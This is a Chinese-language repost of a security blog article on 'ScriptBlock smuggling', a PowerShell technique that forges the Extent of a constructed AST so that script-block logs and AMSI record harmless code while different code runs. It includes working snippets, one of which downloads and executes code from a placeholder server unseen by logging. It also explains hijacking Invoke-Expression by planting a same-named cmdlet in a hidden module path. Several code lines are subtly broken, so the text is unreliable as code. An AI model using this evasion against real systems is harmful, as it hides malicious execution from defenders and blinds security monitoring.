背景
最近PowerShell 在渗透测试人员、红队以及某种程度上的 APT 中的流行度逐渐下降。造成这种情况的原因有很多,但核心是在 PowerShell v5 和 AMSI 中引入了 PowerShell 安全日志记录。这些为蓝队提供了应对 PowerShell 威胁的重要参考依据。在本篇文章之前,已经发布了几个 AMSI 绕过,例如 Matt Grabber 的反射旁路或 Rastamouse 对 AmsiScanBuffer 的修补,并且已经发布了一些 ScriptBlock 日志记录绕过,例如 Cobbr 的 ScriptBlock 日志记录旁路。但这些都涉及完全禁用日志记录。到目前为止,还没有一种方法来欺骗这些日志。本技术方案允许攻击者在绕过 AMSI 的同时将任何任意消息欺骗到 ScriptBlock 日志中。另外,它还不需要执行任何反射或内存修补。特别是AMSI补丁,已经开始成为许多AV和EDR解决方案的目标,因此这是该技术的一大优势。
AST
在深入了解 PS ScriptBlock 欺骗的工作原理之前,我们需要简要概述 PowerShell 如何利用 AST 以及 AST 是什么。在不深入研究编译器和代码背后的计算机科学的情况下,AST 是一种树状结构,编译器从源代码创建它,以便能够创建机器代码。如果你的源代码如下所示:
while b ≠0:
if a > b:
a = a − b
else:
b = b − a
return a
然后,编译器会将其转换为如下所示:
所有语言编译器都以这种方式工作,在 PowerShell 中创建ScriptBlock时也不例外。所有 PowerShell AST 的父节点是 ScriptBlock AST,除了树的子节点外,此对象还包含许多属性。其中一个属性是 Extent,就我们的目的而言,可以将其视为 ScriptBlock 的字符串表示形式。尽管它确实具有一些其他属性:
原理简述
那么,这对 PowerShell 中的安全功能有何重要意义?我们查看 PowerShell GitHub 中的代码,我们会在 CompiledScriptBlock.cs 中找到一些有趣的代码片段:https://github.com/PowerShell/PowerShell/blob/6c66879c92207b5a2638ec43d04a858ebeff8fd8/src/System.Management.Automation/engine/runtime/CompiledScriptBlock.cs#L1441
PowerShell 中的所有安全功能都只传递 ScriptBlock 的 Extent,而没有其他任何内容。每当我们通过将代码包装在 {} 或使用 [ScriptBlock]::create()来创建 ScriptBlock 时,AST 和随后的 Extent 都会自动生成,如何利用这些信息?我们实际上可以通过以下方式自己构建 AST:
[System.Management.Automation.Language.ScriptBlockAst]::new($Extent,
$ParamBlock,
$BeginBlock,
$ProcessBlock,
$EndBlock,
$DynamicParamBlock
)
没有任何东西可以强制执行 Extent 以匹配 AST 的 BeginBlock、ProcessBlock 或 EndBlock。这些块实际上是可执行代码包含在 AST 中的位置。因此,如果我们可以在这些和 Extent 之间创建不匹配关系,那么理论上我们可以执行一些功能但是让日志看起来不一样。我们可以手动构建每个块,但在这里,我们将采用更简单的方法,即构造两个 ScriptBlock,然后从它们的组件构建第三个。
$Spoof =[ScriptBlock]::create("Write-Output 'Hello'").Ast
$Execut =[ScriptBlock]::create("Write-Output 'World'").Ast
$AST =[System.Management.Automation.Language.ScriptBlockAst]::new($Spoof.Extent,
$null,
$null,
$null,
$Execut.EndBlock.Copy(),
$null
)
$temp = $AST.GetScriptBlock()
其中日志显示 Write-Output 'Hello',而实际执行的代码是 Write-Output 'World'。表明我们从上面推测的影响实际上是正确的。显然,此代码也会显示在日志中,但正如我们之前的一篇博客文章中所详述的那样,在第一次执行 ScriptBlock 之前,ScriptBlock 实际上不会被记录下来。示例代码可以修改为如下所示:
$wc=New-ObjectSystem.Net.WebClient
$SpoofedAst =[ScriptBlock]::Create("Write-Output 'Hello'").Ast
$ExecutedAst =[ScriptBlock]::Create($wc.DownloadData(<server>)).Ast
$Ast =[System.Management.Automation.Language.ScriptBlockAst]::new($SpoofedAst.Extent,
$null,
$null,
$null
ExecutedAst.EndBlock.Copy(),
$null)
$Sb = $Ast.GetScriptBlock()
日志或 AMSI 永远不会观察到执行的代码。或者,我们可以像这样在 C# 中构建 ScriptBlocks:
然后可以执行 PowerShell 代码:
此示例执行 Write-Output 'amsicontext',它演示了无需任何修补或反射即可绕过 AMSI 的功能。当我们运行代码时,我们可以检查日志,并看到它只再次显示 Write-Output Hello。顺便说一句,出于某种原因,使用 ps.addcommand 不会导致生成和执行日志,但使用 ps.addscript 确实会按预期生成日志。
总结
那么我们能用它做什么呢?它可以用作基本的AMSI绕过,但也可以做一些更有趣的事情,如命令HOOK。生成 PowerShell Cmdlet 非常容易,事实证明,当 Cmdlet 和模块之间存在名称冲突时,PowerShell 会优先使用较新的模块。也就是说,如果我们将 Cmdlet 命名为“Invoke-Expression”并将其放置在 PSModulePath 位置之一,则每当用户调用 Invoke-Expression 时,都会改为调用我们的 cmdlet。两个默认的 PSModulePaths 是:
C:Users
C:Program FilesWindowsPowerShellModules
第一个仅影响当前用户,但文件夹可以隐藏并且仍然有效,从而使用户不太可能注意到。不幸的是,第二个至少需要本地管理员权限,因此它不太有用。若要让 PowerShell 选取模块,请创建一个与模块 DLL 同名的文件夹,然后将 dll 放在该文件夹中。
然后,下次执行 Invoke-Expression 时,他们的代码将表现得不同,而日志将看起来像他们打算执行的代码。
ScriptBlock Shaulling 允许你欺骗 PowerShell 安全日志,同时从本质上绕过 AMSI。暂未修复
参考连接:https://bc-security.org/scriptblock-smuggling
原文始发于微信公众号(TIPFactory情报工厂):无需反射或修补绕过Powershell日志记录功能和AMSI
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论